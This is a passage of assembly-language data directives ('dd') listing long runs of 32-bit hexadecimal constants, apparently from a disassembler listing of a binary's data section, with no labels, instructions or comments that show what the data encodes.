		dd 8243E427h, 3A9100C6h, 0BD721034h, 7000C37Bh,	8B0F836Ah
		dd 4CA63C65h, 551994BCh, 0E61CC9A5h, 530DF20h, 5CA195A3h
		dd 14150F80h, 0CF23D02Eh, 79635A00h, 0F85FC92Eh, 6B045FD3h
		dd 7BC3F44h, 670E4F2h, 9961FE47h, 0A822A93Bh, 8D1BF700h
		dd 0C0C563C4h, 0A2555C19h, 6032E740h, 6137F601h, 68CB871Bh
		dd 8C13E804h, 5725BB7Ch, 86E0419Bh, 0C8FDC6Ch, 0C8A4CE72h
		dd 3400CE19h, 40C26D7Ch, 0FF1CFB13h, 0B6BD33F0h, 51C3005Ch
		dd 31CD6B23h, 5ED210C0h, 9274991Bh, 0E5C33F0h, 0C6B0FA51h
		dd 47F4819Dh, 0FDC72000h, 0E0D2137Bh, 0F4E06C1h, 0B974071Fh
		dd 39FDh, 0B07D6880h, 1439CEEAh, 94856531h, 3AA8FF04h
		dd 0DD6C9295h, 8771F059h, 5C32DC18h, 61C66944h,	28215F6Ch
		dd 99023C78h, 0AEB130D9h, 0C94454F0h, 0E1AF4824h, 89A13575h
		dd 0E28CE3A8h, 810B30B5h, 0E9E5E202h, 43C363ACh, 1196F16Ch
		dd 0B240B215h, 0CE2630D2h, 82B92C1Ch, 2E22974Fh, 98FE8037h
		dd 1A0B73B5h, 608F1F57h, 0F8E807h, 988B4F42h, 0CC30E777h
		dd 5DF5F0A8h, 838215BAh, 0CA4A704Eh, 0E3DF6Ch, 0ECEE89Ch
		dd 8E07189Eh, 6B257DA9h, 0FCB42025h, 3BC25E43h,	0BB12328h
		dd 0C8278B3h, 0D071EAF7h, 52A0F300h, 1C8AE8h, 9D5847E4h
		dd 21A15F74h, 80DD1A3Eh, 49BDCBDh, 2F3FF870h, 68372378h
		dd 6AA6EE00h, 548244B1h, 68C4C8h, 0EF457F5Ch, 0ADCB021Ch
		dd 21B7B000h, 0F57C62CCh, 88BB0A7Bh, 82F4A34Fh,	43B4FF14h
		dd 832480F0h, 6CA464D8h, 2CA4674h, 0FA32C52Bh, 0F87A83h
		dd 0FBF849A2h, 0DB68F4D5h, 2703A001h, 0F5BB64Ah, 6A6024h
		dd 45282A57h, 0A45D7E82h, 8C3C2C01h, 5CDBFE62h,	0CF007422h
		dd 1630E34Ch, 0E45A9CF8h, 15234C2Fh, 0B922502h,	0BC8449Eh
		dd 714C9D7Ah, 1B6A6AE0h, 8FF1A600h, 466CB8E7h, 98160581h
		dd 907528C1h, 53585ED4h, 853A5026h, 4CA6E512h, 0A5A384E0h
		dd 0D2015813h, 0D829FF04h, 8C0049Bh, 0F1D6F40Dh, 9D432312h
		dd 62D7044h, 16E250E3h,	16720430h, 4AFF07E0h, 404CC4B0h
		dd 2359370Fh, 0E0500258h, 3707DAh, 74C13356h, 3552AC92h
		dd 759EE800h, 328F7F0Bh, 7CF62EDAh, 178D11F0h, 880E722Ah
		dd 9202F081h, 308308EAh, 410EE879h, 109E8158h, 90D07EAFh
		dd 917A2EDEh, 824F09D0h, 0DF84D0E8h, 395883F4h,	49F90973h
		dd 0C4E865DEh, 152E618Ch, 67F8B7C1h, 20590F66h,	25B6FF26h
		dd 0F290F278h, 8D8C30D0h, 0AA598709h, 1B518548h, 1D3734C8h
		dd 0C9D4DE62h, 0D479FECAh, 124AF0Eh, 100D4B9Bh,	7059F040h
		dd 0D6389604h, 6051AE00h, 0B878FDC2h, 888000D9h, 590F054Dh
		dd 710258B0h, 0B9093FEDh, 5DC484CCh, 0AD219CBDh, 465CC8A4h
		dd 1CE20EAFh, 581109B7h, 4F8A0DC0h, 55E07FE7h, 0E350A680h
		dd 54FE8863h, 7FAF05D9h, 0C5393AAEh, 2263009Fh,	63C6BDE7h
		dd 0E2115C25h, 65704F88h, 0F15C8257h, 19BD24C0h, 76F2FE81h
		dd 0B2465E58h, 0D7F0681Fh, 9C5C0013h, 0BEC76799h, 8CAC8A9Dh
		dd 4AABD08h, 9B989165h,	60F7CE60h, 5193D040h, 8044BEE9h
		dd 14DDCA32h, 78020336h, 0C7F0022Fh, 60C9C253h,	80CEA308h
		dd 0F8F18EC5h, 9F0FABF2h, 973EA9D7h, 72CB044h, 0CDA4E152h
		dd 0C4CC6C8Ch, 0AE002E59h, 693CA9D8h, 688B39D7h, 61C08DC8h
		dd 17C9E6C8h, 5549F67h,	82334D1Ch, 580A8564h, 0BAF0508h
		dd 20A45BF5h, 0AC9A344Dh, 0C48D0ED2h, 5323D0C0h, 1CB9151Dh
		dd 64C4E5CBh, 0E98E61B4h, 3C444FCh, 8ADA70F8h, 0BDA0118Ch
		dd 9E2BC0B9h, 0CE582CC2h, 502002DFh, 5D764D23h,	0A100D451h
		dd 7915EB48h, 594C0708h, 20E7C736h, 39520D0Fh, 0B0B74009h
		dd 0E106033h, 88CC4E20h, 0C344E974h, 6F9D061Bh,	21C4835Fh
		dd 71013F08h, 5A8A0FAEh, 380C290Bh, 41165D11h, 402F6A4Ch
		dd 70001523h, 0F97DDF5Bh, 50CA60DCh, 8FCD6BFAh,	0AD590E05h
		dd 4C8EBFFFh, 0B0C2B588h, 1DE6588Bh, 0F9705736h, 1F8A3392h
		dd 0E431D324h, 3AE9CFBCh, 84F6FC48h, 0BCF72AC5h, 148BD64Ch
		dd 4CC08EC8h, 1D0A4AAFh, 9F9F8F46h, 480DD1C5h, 71431278h
		dd 9CFC74C1h, 3820CBE5h, 0CB59FFBh, 91831891h, 0B1F92DFDh
		dd 168892Fh, 92847B10h,	0B0B4A604h, 1883604h, 5C28BCC9h
		dd 21928F8Ch, 7C1F908h,	892B27E1h, 2031D824h, 8A2DB981h
		dd 91749792h, 0CB009CD0h, 9C86E8B3h, 98895819h,	60748271h
		dd 5EA21340h, 0B2581556h, 0FBAC3473h, 17CB73Eh,	0EC42B5Dh
		dd 0C833A851h, 0D7308BA2h, 7FAE01B7h, 8FB4FD75h, 8583CE5h
		dd 1F1A896Bh, 0C42716FEh, 882CCEA8h, 824BC2AEh,	180198E4h
		dd 6CA4B7BDh, 0D6D1CA2Ah, 0C5BEC0FFh, 8CAC94F7h, 9941270Eh
		dd 35DE152Fh, 9C1A877Ch, 0F7750006h, 3D31A9A4h,	0F9FE2176h
		dd 496B39E1h, 74518228h, 0A56B2403h, 5CF8072Ch,	0C4B591B0h
		dd 734C066h, 77562510h,	2B07B048h, 33583EF7h, 0A1B711FAh
		dd 80730078h, 59263689h, 409E5F11h, 0D09A6CACh,	66091FADh
		dd 0F3D3B425h, 0C18370E0h, 8A1FF607h, 8B452728h, 8501E0D0h
		dd 108097FFh, 14816BBDh, 1C570380h, 0C0604B58h,	5FC415E4h
		dd 0D53E7C24h, 0DA9F048Fh, 5C82B31Ah, 8060D6E7h, 0D933B980h
		dd 8700D740h, 53FDCBF1h, 1F743429h, 8EF9C3DDh, 41005FD2h
		dd 0C88C816Ch, 0D08E3D05h, 0E0CEDE17h, 0D3C0B7C8h, 29D1C10h
		dd 2CFA650Fh, 98798ACDh, 17378884h, 0F943C090h,	0CB9002FCh
		dd 0BB5A8279h, 18EA9461h, 0F5D0958h, 981C4BFDh,	5D50B400h
		dd 0AA48FE9Ah, 94FD0861h, 0CB02D70Bh, 0B25F94Bh, 0A458F462h
		dd 0B8FC70E1h, 7D982151h, 44BB8CCh, 4D53CB06h, 0C4F0C913h
		dd 2FE86541h, 58170B4Ah, 280CC9Bh, 4F013058h, 9E92BB20h
		dd 5327016Ch, 2AAF9B3Eh, 0D25B4804h, 77899900h,	6CB62FB4h
		dd 0D9F09827h, 652D0BBEh, 0EC47F15Dh, 17910708h, 9FFC20E8h
		dd 0EE135EDDh, 7C9DF4C9h, 3CCC383Bh, 29DC905Dh,	0C607945Bh
		dd 1D305346h, 2E87DBh, 39DCCCA1h, 1ECBCDFCh, 5D2BDF00h
		dd 0A5A0BE71h, 16F8ECD5h, 0A4D91141h, 50505898h, 0B65A7DC0h
		dd 5CF6BC13h, 0B7654CE0h, 0D1F3A000h, 7F6146Eh,	204490D4h
		dd 1C01A593h, 0AF8EDDF5h, 91E85ED5h, 21842A83h,	67EC8188h
		dd 274857E4h, 0C0691569h, 307B3ECCh, 24C46407h,	8161C0BEh
		dd 8333CED1h, 84C5E918h
		dd 64604889h, 853B01B5h, 589AB2Ch, 0E481129Bh, 60C007B0h
		dd 5094FA8Fh, 9BBF97AEh, 7B687103h, 0BD4F8AD0h,	5D145CD0h
		dd 4BF89C30h, 13594059h, 0C6298118h, 81B2841Fh,	2FA88116h
		dd 17007F07h, 37188CD5h, 0E710A28Fh, 0F0855928h, 0B5BD8006h
		dd 75033872h, 0EFC58BAEh, 0CD7BA7D9h, 0A6D1C094h, 6A5BA512h
		dd 0B0919CC0h, 48F65B34h, 467E2F10h, 0E56C00B0h, 478C7569h
		dd 54A797D7h, 0D303E81Dh, 0BB210Eh, 0AA77191h, 80D9FA74h
		dd 53A8C3Fh, 5C162A61h,	890010B9h, 0A024F4Dh, 5B0946A6h
		dd 46C91DBh, 0F3409A38h, 0A951C408h, 57CDE71Eh,	0E808171Eh
		dd 121580A1h, 0D848ED37h, 4D8FF62Fh, 9BA2C084h,	8BE6AD7Ah
		dd 8CF3902h, 197AB4Fh, 2D04129Fh, 1EE23C4h, 0FD135D5Ch
		dd 0C42C2F6Bh, 5D5439B8h, 81EC8A9Fh, 44654760h,	88E0F20Ah
		dd 0A9E024ADh, 768A88F2h, 0B52C707Ch, 5E53F800h, 63EF41C8h
		dd 2F704A5Ah, 0BAF23E4h, 34597A0Eh, 0F1592800h,	0E8D2BC8h
		dd 7157E2FAh, 49797402h, 40D8B0C0h, 3410C04Fh, 8CAFE8ACh
		dd 446B7E2Dh, 17F000ACh, 0F6119E3Ah, 0FB17DF28h, 9CB2FCF8h
		dd 0C8E0CB4Bh, 65EDC08Eh, 3009C8A2h, 8EE35EA5h,	0C7D22160h
		dd 446BB4FEh, 0A679258Ch, 0B89DE340h, 0F6682153h, 0BECB20B4h
		dd 789E5B13h, 15231C3Ah, 0F9EC4400h, 4FE52941h,	2E5864B8h
		dd 0A892380h, 0BC46A95h, 0F0221D73h, 8CD9D79Eh,	8818AF79h
		dd 839F4918h, 0DF9261h,	2905CFEBh, 0F44CC41Eh, 0CA3B5D00h
		dd 3306AEC3h, 7BDC014Eh, 0DAB688B1h, 2D98CD82h,	82BD7B8h
		dd 6D031A23h, 0C8ECA84Bh, 96D6B09Dh, 3CD969B4h,	0B2E7A100h
		dd 710F4BAAh, 0AE8301A5h, 4D62BD46h, 0D46C716Ah, 1448C6A3h
		dd 102F4EB4h, 0CB00B123h, 0E5F8797Fh, 58AB000Ah, 0D4F29371h
		dd 494A1D0Eh, 3141D802h, 79B787F9h, 0FD8E50C0h,	84BF5E84h
		dd 5FA0F6F0h, 0CB23102Bh, 3400B317h, 0F4EA58C5h, 6B251C14h
		dd 0A41AEDD1h, 8260B86Dh, 0EEABACh, 8BB8C0B5h, 0B13BC35Eh
		dd 5C582165h, 0F37488h,	95FE8148h, 529BD654h, 415AEC00h
		dd 5C434AADh, 0BC0DE440h, 0F49F1654h, 0CD07D4DCh, 0F4535E54h
		dd 2F80D324h, 5EF12C62h, 0E878C537h, 30DEBDF8h,	9C098E93h
		dd 7A8C82DDh, 737E2E4h,	0E1786D6Ah, 3817594Bh, 96831991h
		dd 8CF88EA6h, 0BF3A66D3h, 80BDF3F8h, 0ED5323B8h, 2AC910Bh
		dd 10A3EA9h, 88D9CCD1h,	6024018h, 4FD35866h, 1264C4B9h
		dd 3A74771Ch, 1C2398h, 483F1017h, 0B0124151h, 791D16E7h
		dd 733B6E80h, 5C3CF9C5h, 19F8749Bh, 538A008Ch, 0F24E327Ah
		dd 11173FE1h, 0E4B2AED5h, 0CBBCFF0Bh, 7790F040h, 1E0E780Bh
		dd 5BE0ABB1h, 0C09A7190h, 35007FFAh, 0D5D71E9Ch, 4FA909B5h
		dd 23E43BA6h, 13FD001Ch, 1BA121F4h, 0B3AD1409h,	0CB4C6CAh
		dd 0D6BBBC7Eh, 41128FC8h, 0B03A5B6Dh, 203AE23h,	84016BC5h
		dd 803CB0h, 2AD23081h, 7A7F35Dh, 4E858280h, 88B4CF02h
		dd 71E4C1AFh, 30229Eh, 41227AA8h, 73A218EBh, 0AD61006Ch
		dd 23ED27F2h, 2EE6F040h, 8983370Ch, 924499Ch, 0C6E8D3AEh
		dd 55D81C73h, 0DD7331h,	71897C78h, 9D7625C5h, 7AA88451h
		dd 0F3F0A433h, 73B104F8h, 0BD3B615Eh, 95120350h, 0B19EF539h
		dd 398BE027h, 105BDE76h, 0FED9F558h, 0F4F02F10h, 0A311A067h
		dd 0EB271458h, 544E348Bh, 915C159Dh, 72C79E88h,	8EE14F8Bh
		dd 8866A011h, 9CAAE815h, 9BA1816h, 0A68E1554h, 88628A60h
		dd 0D0018C5Eh, 3B233935h, 346C1D75h, 9FECCBB4h,	0C74B00E3h
		dd 9F538532h, 973B960Bh, 11481D2Ah, 2B4080D1h, 12FECD59h
		dd 0B80DDDD5h, 8CB2BCA0h, 0EF7B2802h, 0E0ED804Ah, 83AEDD84h
		dd 73D72F80h, 9F159CA0h, 0D6AFBC16h, 0B2C8B0CEh, 0C4295BC0h
		dd 0E44B4C25h, 4226110h, 435730D3h, 1941F0A0h, 809D94F9h
		dd 2C2F3B60h, 52008C7Fh, 17726F61h, 566BFD93h, 85B05843h
		dd 0E30B39BFh, 4841A991h, 48ED31B4h, 81C77E4h, 8489674Fh
		dd 0C100C4E4h, 233566C3h, 0E1CF9F5h, 0B708A732h, 0D0ADE144h
		dd 0DEA825D4h, 465C6096h, 0A07E008Ah, 0FD1692FCh, 0CC0B24BCh
		dd 714389CCh, 5B5AE850h, 9692D890h, 76E30084h, 0C79F2467h
		dd 1EF2138Ch, 4B0EA6E0h, 60771B66h, 8317F4F6h, 80A25488h
		dd 440490EAh, 0E4FC5D59h, 56886A69h, 9203DC90h,	2544E131h
		dd 5FB81177h, 727325D0h, 45E2710h, 0B1E40867h, 822A6B60h
		dd 0A9575F02h, 595E676Dh, 67FC7B94h, 23D11A20h,	0CB1D016Bh
		dd 4BC3A7EEh, 70707859h, 7B4B84B6h, 63C700Ch, 0A2EC0F1Dh
		dd 0C4D1A5h, 80365B9Ah,	0CC983C9Ch, 4C31F55Bh, 15007BFBh
		dd 709EE804h, 0E2E37D80h, 0B8A5D61Bh, 14EB0961h, 0E8796A04h
		dd 0C0191A71h, 4C0C0643h, 5E2D99B8h, 3025FDBCh,	0E8187078h
		dd 0AA3B799Fh, 93C68617h, 0FF65519h, 26FC0885h,	8C4D5h
		dd 9490A7C7h, 1F098CA3h, 2157602h, 2BB129F0h, 487EAC42h
		dd 0B52F3BDCh, 1E18C882h, 207683CBh, 0D9C980BFh, 8F43894Eh
		dd 0FB4A02CCh, 6D53D71h, 0A9D541F5h, 6BC8E0CEh,	0DA9E0789h
		dd 0F592C5F4h, 0B6AE0A77h, 8C465C48h, 0C64C4F02h, 24C298E8h
		dd 0DE7C7Eh, 40F46296h,	351AA3Dh, 0C92C4BF8h, 4DAF800Ah
		dd 0A7B060C4h, 6209903Ah, 80B4BF56h, 4381EA48h,	35CA0911h
		dd 444D79CBh, 0B950D2C7h, 0D22E370h, 1201C5AEh,	54882E21h
		dd 0EE0D008Ah, 9B96BF8Fh, 0D09F3114h, 0B5CB1286h, 0F0ACB647h
		dd 1706168Dh, 47038475h, 22B5F94Ch, 4851AC34h, 911819D9h
		dd 0F0154E02h, 81806AD8h, 9FE4BB94h, 701050FEh,	5C31C05Bh
		dd 1CAA31Bh, 31BCB007h,	360F4049h, 2CC924A3h, 1CC4F847h
		dd 60D0A960h, 7A00DB75h, 3F90FFDh, 35114193h, 0E6F0C769h
		dd 0F12CE0F4h, 0D1242F61h, 869F6418h, 90002092h, 1839EC7h
		dd 7131BAA3h, 0B0570069h, 0FDA28011h, 48BCE934h, 9C8FF492h
		dd 85C0B788h, 114F16Eh,	434E8AE1h, 0FC1C727Ah, 73481DF7h
		dd 72AF2578h, 80C2792Ch, 5B0C331Ch, 0B1BA9F1Bh,	94BE0082h
		dd 9A02F97Dh, 0D8A479CCh, 19596503h, 24CAE897h,	125EC479h
		dd 6920BD15h, 9748F8B0h, 0F880B83Dh, 232043C6h,	0DD531027h
		dd 94FC042Ch, 1B00D65Bh, 99FE72D9h, 0E800B55Ch,	5A588C8Fh
		dd 0FA5017Bh, 0ABC3C4D1h, 126AF1FDh, 0C8E4CB44h, 71C5C014h
		dd 0A19544A9h, 905DC378h, 431C70F2h, 14CA4E16h,	38C7D2C8h
		dd 6440BD70h, 5B4F1311h, 0C81C9A84h, 6A3C116h, 60EA70D3h
		dd 2C1CFA00h, 0B870BFF4h, 0D9D71783h, 80B004D4h, 6CF4D0D5h
		dd 9F359390h, 6CA3684Dh, 0A13090A2h, 0CAB500A0h, 1261D880h
		dd 0AF2EF818h, 0D908EC9Ah, 0AE50AB4h, 0CC467494h, 0F870CF3Ch
		dd 80D35F4Fh, 0BC9F0870h, 70CB9726h, 0F7E59A84h, 0E9D009BEh
		dd 2F8E5C68h, 0DB29800h, 3AA6D231h, 7E4C0257h, 0FBE517ECh
		dd 652F78D3h, 61CB643Ch, 3B3ECA61h, 0B72310h, 9BC76260h
		dd 950F2429h, 816A289Ah, 0E98BBCFDh, 77F8D880h,	4BCB045Ch
		dd 0BA468F3h, 5B7CF6D9h, 0F17170E0h, 19A7CD00h,	371C8421h
		dd 1501133Fh, 7CD0F5C9h, 8CD1BCD4h, 0AFF7DD00h,	7FA515C1h
		dd 2C593E0Eh, 49016E00h, 6958ADAh, 841D3C92h, 940751C4h
		dd 0AD803083h, 2DFB57CEh, 18685D49h, 8D0056E2h,	0B333CFA1h
		dd 4A4DC37h, 0EF1B8A58h, 1475BBDDh, 0B0B22CE2h,	1E305E30h
		dd 52BCFEECh, 450CA4D5h, 50822940h, 2A8287Fh, 4F8B666Dh
		dd 0A97596DBh, 11549DDCh
		dd 82809C1Ah, 0FFBBC8E1h, 18787393h, 80DE8FB4h,	7D274BC3h
		dd 9DFCE62Ah, 0C341444Dh, 5E8F5DD9h, 0F665AC18h, 0F940E483h
		dd 716B8500h, 9A87FDD3h, 0DC2F13F0h, 0C1900167h, 7DDE277Eh
		dd 15CAC68h, 0AD1BE565h, 79BF6E80h, 75681038h, 82C8065Eh
		dd 0F23E89C0h, 0A9BF8059h, 0D6ADE48Fh, 2F8813BEh, 14F4E04Bh
		dd 6CD72E5Ah, 0A1334FC1h, 37411882h, 884AF957h,	0C64018D4h
		dd 34368ECh, 0CECA5488h, 0D4C2ABE6h, 1A401C54h,	0B9B511Fh
		dd 0A1C342EBh, 90984C58h, 0E196F401h, 0BF57894Bh, 0E6C042Fh
		dd 0ACF8EDDEh, 4AA00144h, 0C4B4178Dh, 78923A78h, 440C5CE4h
		dd 938A4202h, 0A560766Fh, 8D70007Bh, 0C62002C2h, 0E53237DAh
		dd 24643175h, 0B0FDF109h, 0AF4F7839h, 39E8C788h, 37000E35h
		dd 0F1E0CE3Bh, 200F4C0Ah, 208588Ch, 57288306h, 38059477h
		dd 0A57D30D9h, 1177A8B2h, 0C8DA6F8Ch, 2CB4A066h, 0DC6C03EBh
		dd 35011846h, 872CCE7h,	0DD982039h, 0F8CE2D40h,	81209CA6h
		dd 65A78A0Ch, 36ECE072h, 0EDEB3007h, 6A64E1F9h,	0FE86BBBh
		dd 0C1599253h, 634C4FBDh, 0B30860C6h, 90D3827Ch, 903FCF17h
		dd 0CF1F8C7Fh, 0D6815AF6h, 0CB75909Fh, 6407CD8h, 5D347AC4h
		dd 0E4809908h, 4181A07Bh, 193F8BF5h, 0DE1B98C4h, 0D8F4040Bh
		dd 1E01C8BCh, 8A899833h, 0BD503C5Ah, 0E70930DEh, 0FD2AD00h
		dd 1F28CB96h, 0DB7C4F57h, 47E425A8h, 8071CF24h,	9B61141Bh
		dd 72DC3EB7h, 1CA01F25h, 0C04D10E7h, 70FE70CBh,	681DBDD4h
		dd 6280CC91h, 15BE40DDh, 7659F4EEh, 25F99D04h, 2AA085BBh
		dd 0D28810CEh, 94FA8DC0h, 85870549h, 3A6FCF6Dh,	8C7BC0h
		dd 0FD3CA265h, 19314116h, 0EDC89A2Fh, 0FA41EEE8h, 247D3BA3h
		dd 8A26D9A0h, 4112098h,	3AE86526h, 44656EA5h, 4A61AEE4h
		dd 8CC83A8Fh, 944400D1h, 1FC890Bh, 6BFA0767h, 0F2A2B01h
		dd 1C293B23h, 80115C01h, 8806FE81h, 382839h, 6DE54FA3h
		dd 2B4D7BA4h, 5C34160Ah, 4674C8F9h, 0D9081FCFh,	80396C02h
		dd 5685A5Dh, 94954E25h,	0F210E2A6h, 99F530B3h, 0D62CE505h
		dd 0EC810DF1h, 0F900DD6Fh, 0D09CF8C5h, 39ABE88Ch, 460D03B2h
		dd 4B88504Eh, 0EAC219E8h, 82015F78h, 9F3EECC5h,	842CF7C8h
		dd 87BC104Ch, 1997718Ch, 88E317B4h, 0B0003A25h,	0EB1B0690h
		dd 589D29Eh, 0E6F232F4h, 2434E024h, 0B01D01EFh,	6704425Ah
		dd 0F4DAEEA9h, 180D93Bh, 1F895C9Dh, 443F86A3h, 0AF9A641Ch
		dd 500547Ah, 0B5F25BB0h, 5200672Ch, 0E8D8BEB9h,	272A26A5h
		dd 0B4A05D06h, 6FBB427Fh, 8A78F800h, 898117AEh,	49740084h
		dd 6339FAC2h, 0BE248346h, 382C2890h, 308BB308h,	2F273010h
		dd 81E4768Ah, 0B00B1D3Bh, 49B2FBCh, 0BFF76880h,	0F9F6079Fh
		dd 6806F827h, 95FD318h,	57CE17FBh, 0E8169856h, 78466C20h
		dd 0A5510E36h, 6D816E6Fh, 427CC410h, 5756BDCh, 98E6DD50h
		dd 7CD669B0h, 0F5166600h, 0A70F39E1h, 0B3FB4A79h, 88A74A94h
		dd 0D3B86048h, 0AF75008Ch, 0C37A8AB7h, 2303C0DAh, 7D89D3ECh
		dd 0EBFCC6Dh, 3E10412Ch, 0B4CDC72h, 4EF6DE53h, 0D8CD975Ch
		dd 0A117CE40h, 8B02177Eh, 1E4800F1h, 815D145Ah,	0FAC9C9Fh
		dd 79CCA5B3h, 4780A488h, 0DD92D4B0h, 0C12400DBh, 7033544Dh
		dd 0B701BD82h, 0D3F6595Dh, 8863D00Ah, 0D4F720C5h, 0E080B688h
		dd 1955B1D0h, 19B7280Fh, 0B39CFCABh, 0A92401B7h, 212B7A3Ch
		dd 4BD9710h, 0F49830AAh, 2F04A1EDh, 4323214Eh, 0C7E38B4h
		dd 0F43BA9DAh, 3009C441h, 40930B37h, 13BCF7C8h,	0B989C0C2h
		dd 514F2790h, 1817F1A0h, 0F93A0769h, 4956508Eh,	83F2AC00h
		dd 4F977432h, 0C7804060h, 0F004591h, 51FA2816h,	12C6D512h
		dd 0AC7DDE1Fh, 0F93FC1BCh, 0DB12C084h, 0A9432220h, 0A278B423h
		dd 0A620D678h, 565BF0A8h, 0A7C90125h, 0EA60231Ah, 5C236F26h
		dd 82F690F3h, 0AB06048Bh, 0EC191143h, 0A8E72CB0h, 899DC340h
		dd 5A600D6h, 0CE0B084h,	0EB00FD3Bh, 0E99FB62h, 92D3B1h
		dd 965936FAh, 34154B25h, 0E05DD480h, 24042D75h,	8BDAAC18h
		dd 0EC9B6AF7h, 7C801680h, 0F271730h, 44D4E403h,	0AE7424E0h
		dd 80A092BDh, 390F4BE4h, 0DCC49D06h, 4E01ED71h,	7882FF4Ch
		dd 85F43AE3h, 0C04297C8h, 8F79E4D9h, 9500A218h,	55D5C621h
		dd 0F4A168C0h, 1D74B216h, 27CF1F88h, 0A95FE021h, 1EE86941h
		dd 751F60D3h, 26806143h, 9A94D083h, 500E0EE5h, 57036AD8h
		dd 28603E8h, 0C35F201Ch, 247C8980h, 0CC448104h,	47211408h
		dd 83C35706h, 851306BAh, 6017C421h, 1DA59876h, 0C68BF92Ah
		dd 4A04E8C1h, 5A3F5246h, 54892372h, 42001811h, 341BC352h
		dd 7518E063h, 0DF1B08E9h, 0F1870069h, 0D5954214h, 0E264F766h
		dd 59615160h, 4C89C8C3h, 410C76A5h, 588B8051h, 12098CBDh
		dd 0B4836606h, 0BEA8D82Bh, 9318A42Fh, 3E3307E8h, 6985005Ch
		dd 5076E22Dh, 31600F52h, 5A10C32Ah, 0F45E7B58h,	1931DC80h
		dd 18569693h, 23C3725Eh, 1A117489h, 0C3564600h,	0D16D4F9Fh
		dd 9B9EAE00h, 832FBF66h, 0E5B51AFFh, 2C17AA07h,	0EB811B11h
		dd 70852DCAh, 0B806F8A6h, 1471B58Bh, 95FF0C52h,	0F90C29D1h
		dd 0A9ADB070h, 0CB076E6h, 70E61AE4h, 398C5544h,	8914C35Dh
		dd 45E0806Ch, 0B67BC355h, 8CA6BA00h, 71E4463Eh,	0F61073Ch
		dd 0A028A83h, 1C465E4Eh, 47214B0Bh, 0F8B1007Fh,	290F4201h
		dd 0D1A7D8B6h, 6C61817h, 0E989FAC1h, 3D1E190Eh,	0CCC06018h
		dd 0B2BA78CAh, 0A5C0095Fh, 0AA198AC2h, 0E98B20F8h, 0D6110C60h
		dd 0B0AE9575h, 4D200E51h, 6F0943C0h, 8D29C28h, 752A268Dh
		dd 8195291Eh, 56091235h, 9C5110E9h, 0F70D00F0h,	58D4C028h
		dd 2E18ACBFh, 0F285973h, 1EA3288h, 4780E92Ah, 4795E409h
		dd 8937C403h, 1315999Dh, 3207B95Ah, 58305002h, 4689E4C3h
		dd 162244h, 97C35040h, 0C1836910h, 0C1B05BE1h, 0F5C531E0h
		dd 42C9D120h, 3BFA0213h, 0F7860FD9h, 7433102Ah,	53001846h
		dd 0EA1E8DB6h, 0D96F8C66h, 5B875146h, 5C8922C3h, 43101D31h
		dd 9500C353h, 77C2A0B2h, 29B74C46h, 9EEEA788h, 0C18A814Bh
		dd 70859856h, 0E078AFB7h, 40DF67Ah, 2BFC840Fh, 8F1BE01h
		dd 0A912C622h, 23F53E0Ch, 1784001Ch, 396437EFh,	0B12CFC14h
		dd 7FD10A3h, 498D290Eh,	4B5B0C19h, 0C017887Ch, 1DCE5A09h
		dd 8D896009h, 31DA7B5h,	51E3D63h, 2BF5610Ch, 23CF3AC3h
		dd 0F7F0F14h, 818413BBh, 7043D83h, 6953445h, 135C020Eh
		dd 3100097Bh, 5DD2B47Bh, 1A0F2B30h, 72B50B21h, 4AE9AF4Ah
		dd 0D53CC200h, 31A0208h, 0F53087F2h, 38819690h,	0E43AF959h
		dd 0E933038Eh, 0B3563339h, 0DA0D000Dh, 9764C566h, 2100041Ch
		dd 12B1848Ah, 488B5F02h, 1BE8B1C0h, 75CB008Ch, 0BE464968h
		dd 2B987FAFh, 85A7D8E4h, 4F601A44h, 70059236h, 0C7167531h
		dd 83037594h, 0D52E27F5h, 1423532Eh, 890F5C04h,	58137C8h
		dd 6A8427F6h, 0A1EA044Fh, 3F831034h, 71BDACF5h,	40D0D044h
		dd 0D343850Fh, 0F42D033Fh, 99D5FF6Eh, 884B0A85h, 0A26DC018h
		dd 0E71B3E0Fh, 0C81B0BE8h, 8D936Ah, 0A7332619h,	966E1FFh
		dd 11CDBD18h, 588B5E6Ch, 9AA4C4FEh, 4B2FC01Ah, 237E2B4h
		dd 19485181h, 0C1CCF80Bh, 1AC46B85h, 6DA7860h, 0FD526201h
		dd 79A7BF8Eh, 90900760h, 200134D2h, 0C0979B5Ch,	50369DA8h
		dd 0B0C19899h, 0C643247Bh, 0B501DE36h, 0BA4E2E8Eh, 0B5718D28h
		dd 1C079D9h, 1D612995h
		dd 1815F181h, 2C52487Fh, 622C0510h, 0E2F065A8h,	87C898ECh
		dd 0FF3D0796h, 0B0FDCBA7h, 0B5802022h, 0A2E87853h, 0BD88301Bh
		dd 0D078300h, 0E8AE7CB4h, 4821C009h, 935E0FC2h,	0BBFF210Eh
		dd 0A8FE613h, 30CA901Fh, 0BFAB2565h, 0E7B143B9h, 640AD680h
		dd 0E6FAE0A2h, 0BE57045Fh, 87CA68D3h, 8120AFF6h, 93D1EDEEh
		dd 0A2EB2A53h, 8B9C3017h, 53A2EB01h, 379BD23h, 1B607424h
		dd 0AE0FE680h, 335198C5h, 0B5FB4182h, 0BD8F1FE1h, 572EEB81h
		dd 10615827h, 0FFF7AFE9h, 0A26063E3h, 0E4FF3818h, 0E9FD3312h
		dd 31BDD020h, 51FE98h, 62F2F7B7h, 0C18B3A06h, 217851BBh
		dd 4FEF4CEAh, 4EB8870h,	616006A1h, 8B7E00CFh, 1040698Dh
		dd 784E9361h, 67A818A3h, 6100D955h, 0AA76BF2Eh,	0BA1CA07h
		dd 65858DE2h, 8160CD24h, 6293910h, 906124E8h, 643F0769h
		dd 139C4050h, 2DF770F5h, 0F9B9B834h, 0E61F6120h, 3AEB8D1h
		dd 0F5F7BFF3h, 5408280Bh, 84068C0Fh, 0D799B501h, 0C4DE985h
		dd 0A4EEDEE0h, 756ED860h, 0F8C161CBh, 61615E9h,	18BC3A38h
		dd 0C123058Ch, 14C0FCADh, 9B40AA9Bh, 305F083h, 0AA1155BFh
		dd 0F0F8903Bh, 8D7C0F50h, 35BE41C0h, 0FF13E438h, 3EF27266h
		dd 28A1740h, 19305289h,	3254E85h, 0F28B612Ch, 0FB695C74h
		dd 55F60708h, 8D6549F8h, 48601464h, 0CA0A9D8Dh,	0D406159Bh
		dd 410880C8h, 0D3FF0423h, 0E738C8E9h, 83765607h, 59A1FDB6h
		dd 0A660893Eh, 5197A835h, 2480550Fh, 1D49F146h,	0D785315Fh
		dd 0A18C4432h, 2DE80D07h, 28815DC0h, 85E2F3EDh,	601CE46Ah
		dd 22BF2B6h, 0D8F4E05Ch, 9E7A6DBh, 39B4869Eh, 0DC040DBh
